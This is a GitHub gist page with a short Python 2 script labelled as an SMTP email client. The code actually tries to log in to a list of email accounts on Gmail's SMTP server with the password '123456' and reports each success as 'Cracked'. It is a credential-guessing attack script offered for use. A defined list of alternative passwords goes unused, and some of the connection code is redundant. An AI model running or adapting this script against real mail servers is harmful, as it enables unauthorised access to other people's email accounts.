Skip to content

Instantly share code, notes, and snippets.

@tejastank
Created September 14, 2012 06:21
Show Gist options
  • Save tejastank/3720163 to your computer and use it in GitHub Desktop.
Save tejastank/3720163 to your computer and use it in GitHub Desktop.
python-smtp-email-client-tejastank
# Author : tejastank
import smtplib
smtp_email_user = '[email protected]'
smtp_email_pwd = 'd3'
emails= ['[email protected]','[email protected]','[email protected]']
passwords = ['dd','434','3344','~~~','xxxxxxxx']
for email in emails:
try :
print "try........", email
smtpserver = smtplib.SMTP("smtp.gmail.com",2525)
smtpserver = smtplib.SMTP("smtp.gmail.com",587)
smtpserver.set_debuglevel(False)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(email, '123456')
print "Cracked", email
except Exception, e:
print ":(",e
finally:
smtpserver.close()
#header = 'To:' + email_to + '\n' + 'From: ' + email_from + '\n' + 'Subject:'+ subject +' \n'
#msg = header + '\n ' + body + ' \n\n'
#res = smtpserver.sendmail(email_from, email_to, msg)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment